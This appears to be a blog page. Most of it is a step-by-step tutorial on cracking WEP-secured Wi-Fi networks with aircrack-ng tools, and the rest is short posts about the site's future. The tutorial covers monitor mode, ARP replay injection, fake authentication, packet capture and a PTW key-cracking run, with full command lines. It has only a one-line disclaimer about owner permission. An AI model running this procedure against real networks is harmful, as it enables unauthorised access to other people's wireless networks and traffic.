Wireless WEP Key Hacking

NOTE: This tutorial shows how easy it is to hack a WEP secured network it should not be replicated without the permission of the networks owner.

  • log in as root
  • Start the network device all devices are different so i cant walk you through it.
  • Put the device in monitor mode and start it with airmon-ng
  • monitor the channel and even the bssid of the target network until you find a connection to a station
  • Take note of the stations MAC address and the BSSID
  • set up the arpreplay command below but do not hit enter.
    • aireplay-ng –arpreplay -b [BSSID of the network] -h [Connected clients MAC address] [Interface]
  • Next we preform a fake authentication with the network to speed up the ARP replies.
    • aireplay-ng -1 0 -a [BSSID of the network] -h [Connected clients MAC address] -e [ESSID or Network Name] [Interface]
  • Hit enter on the fake authentication window then right away switch to the arpreplay window and press enter as well. If need be use Ctrl + C to repeat this process many times. It can take up to 15 mins for the ARP replies to come in. After which point you should try to authenticate again.
  • Once the ARP replies start to come in open a new tab and log them with airodump-ng
    • airodump-ng -c [Channel] –bssid [BSSID of the network] -w [Capture file name] rausb0
  • Wait for the Data to reach 80,000-100,000 then begin the actual cracking process.
    • aircrack-ng -z {This starts the PTW attack which is much faster} [Capture file name]

Thought I would make a post to ask you, the user, what can I do to make the site better? Features, Topics, Pages, etc. Please leave your suggestions in the comment section below.

Security IconAs some of you may know I have taken down my old site. This is due to an overwhelming amount of  inexperienced users that were asking me to hack for them and basically wanting to have everything spoon fed to them.

I have decided that I will put up my site again except this time it will not be entirely based on hacking. I will post articles on computer related things that I feel are relevant and I assure you I will go into greater detail in one of my posts about the Wireless WEP Key Hacking video when I have some time!

For those legitimate users that honestly needed advise I apologize I was unable to answer a majority of your questions due to the overwhelming flood of noob questions :)
